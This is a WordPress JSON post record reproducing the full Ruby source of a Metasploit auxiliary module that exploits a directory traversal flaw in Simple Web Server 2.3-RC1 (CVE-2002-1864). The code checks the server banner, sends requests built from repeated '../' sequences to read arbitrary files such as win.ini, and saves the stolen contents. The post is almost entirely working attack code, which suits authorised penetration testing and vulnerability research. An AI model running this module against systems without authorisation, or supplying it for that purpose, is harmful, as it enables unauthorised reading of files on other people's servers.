{"id":59355,"date":"2024-09-01T20:29:40","date_gmt":"2024-09-01T17:29:40","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181174\/simple_webserver_traversal.rb.txt"},"modified":"2024-09-01T20:29:40","modified_gmt":"2024-09-01T17:29:40","slug":"simple-web-server-2-3-rc1-directory-traversal","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/simple-web-server-2-3-rc1-directory-traversal\/","title":{"rendered":"Simple Web Server 2.3-RC1 Directory Traversal"},"content":{"rendered":"<p>##<br \/># This module requires Metasploit: https:\/\/metasploit.com\/download<br \/># Current source: https:\/\/github.com\/rapid7\/metasploit-framework<br \/>##<\/p>\n<p>class MetasploitModule &lt; Msf::Auxiliary<br \/>include Msf::Auxiliary::Scanner<br \/>include Msf::Auxiliary::Report<br \/>include Msf::Exploit::Remote::HttpClient<\/p>\n<p>def initialize(info = {})<br \/>super(update_info(info,<br \/>&#8216;Name&#8217; =&gt; &#8216;Simple Web Server 2.3-RC1 Directory Traversal&#8217;,<br \/>&#8216;Description&#8217; =&gt; %q{<br \/>This module exploits a directory traversal vulnerability found in<br \/>Simple Web Server 2.3-RC1.<br \/>},<br \/>&#8216;References&#8217; =&gt;<br \/>[<br \/>[ &#8216;CVE&#8217;, &#8216;2002-1864&#8217; ],<br \/>[ &#8216;OSVDB&#8217;, &#8216;88877&#8217; ],<br \/>[ &#8216;EDB&#8217;, &#8216;23886&#8217; ],<br \/>[ &#8216;URL&#8217;, &#8216;https:\/\/seclists.org\/bugtraq\/2013\/Jan\/12&#8217; ]],<br \/>&#8216;Author&#8217; =&gt;<br \/>[<br \/>&#8216;CwG GeNiuS&#8217;,<br \/>&#8216;sinn3r&#8217;<br \/>],<br \/>&#8216;License&#8217; =&gt; MSF_LICENSE,<br \/>&#8216;DisclosureDate&#8217; =&gt; &#8216;2013-01-03&#8217;<br \/>))<\/p>\n<p>register_options(<br \/>[<br \/>OptString.new(&#8216;FILEPATH&#8217;, [true, &#8216;The name of the file to download&#8217;, &#8216;windows\\\\win.ini&#8217;]),<br \/>OptInt.new(&#8216;DEPTH&#8217;, [true, &#8216;The max traversal depth&#8217;, 8])<br \/>])<br \/>end<\/p>\n<p>#<br \/># The web server will actually return two HTTP statuses: A 400 (Bad Request), and the actual<br \/># HTTP status &#8212; the second one is what we want. We cannot use the original update_cmd_parts()<br \/># in Response, because that will only grab the first HTTP status.<br \/>#<br \/>def parse_status_line(res)<br \/>str = res.to_s<\/p>\n<p>status_line = str.scan(\/HTTP\\\/(.+?)\\s+(\\d+)\\s?(.+?)\\r?\\n?$\/)<\/p>\n<p>if status_line.empty?<br \/>print_error(&#8220;Invalid response command string.&#8221;)<br \/>return<br \/>elsif status_line.length == 1<br \/>proto, code, message = status_line[0]else<br \/>proto, code, message = status_line[1]end<\/p>\n<p>return message, code.to_i, proto<br \/>end<\/p>\n<p>#<br \/># The MSF API cannot parse this weird response<br \/>#<br \/>def parse_body(res)<br \/>str = res.to_s<br \/>str.split(\/\\r\\n\\r\\n\/)[2] || &#8221;<br \/>end<\/p>\n<p>def is_sws?<br \/>res = send_request_raw({&#8216;uri&#8217;=&gt;&#8217;\/&#8217;})<br \/>if res and res.headers[&#8216;Server&#8217;].to_s =~ \/PMSoftware\\-SWS\/<br \/>return true<br \/>else<br \/>return false<br \/>end<br \/>end<\/p>\n<p>def run_host(ip)<br \/>if not is_sws?<br \/>print_error(&#8220;#{ip}:#{rport} &#8211; This isn&#8217;t a Simple Web Server&#8221;)<br \/>return<br \/>end<\/p>\n<p>uri = normalize_uri(&#8220;..\/&#8221;*datastore[&#8216;DEPTH&#8217;], datastore[&#8216;FILEPATH&#8217;])<br \/>res = send_request_raw({&#8216;uri&#8217;=&gt;uri})<\/p>\n<p>if not res<br \/>print_error(&#8220;#{ip}:#{rport} &#8211; Request timed out.&#8221;)<br \/>return<br \/>end<\/p>\n<p># The weird HTTP response totally messes up Rex::Proto::Http::Response, HA!<br \/>message, code, proto = parse_status_line(res)<br \/>body = parse_body(res)<\/p>\n<p>if code == 200<\/p>\n<p>if body.empty?<br \/># HD&#8217;s likes vprint_* in case it&#8217;s hitting a large network<br \/>vprint_status(&#8220;#{ip}:#{rport} &#8211; File is empty.&#8221;)<br \/>return<br \/>end<\/p>\n<p>vprint_line(body)<br \/>fname = ::File.basename(datastore[&#8216;FILEPATH&#8217;])<br \/>p = store_loot(&#8216;simplewebserver.file&#8217;, &#8216;application\/octet-stream&#8217;, ip, body, fname)<br \/>print_good(&#8220;#{ip}:#{rport} &#8211; #{fname} stored in: #{p}&#8221;)<br \/>else<br \/>print_error(&#8220;#{ip}:#{rport} &#8211; Unable to retrieve file: #{code.to_s} (#{message})&#8221;)<br \/>end<br \/>end<br \/>end<\/p>\n","protected":false},"excerpt":{"rendered":"<p>### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule &lt; Msf::Auxiliaryinclude Msf::Auxiliary::Scannerinclude Msf::Auxiliary::Reportinclude Msf::Exploit::Remote::HttpClient def initialize(info = {})super(update_info(info,&#8216;Name&#8217; =&gt; &#8216;Simple Web Server 2.3-RC1 Directory Traversal&#8217;,&#8216;Description&#8217; =&gt; %q{This module exploits a directory traversal vulnerability found inSimple Web Server 2.3-RC1.},&#8216;References&#8217; =&gt;[[ &#8216;CVE&#8217;, &#8216;2002-1864&#8217; ],[ &#8216;OSVDB&#8217;, &#8216;88877&#8217; ],[ &#8216;EDB&#8217;, &#8216;23886&#8217; ],[ &#8216;URL&#8217;, &#8216;https:\/\/seclists.org\/bugtraq\/2013\/Jan\/12&#8217; ]],&#8216;Author&#8217; =&gt;[&#8216;CwG GeNiuS&#8217;,&#8216;sinn3r&#8217;],&#8216;License&#8217; &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59355","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59355","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59355"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59355\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59355"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59355"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59355"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}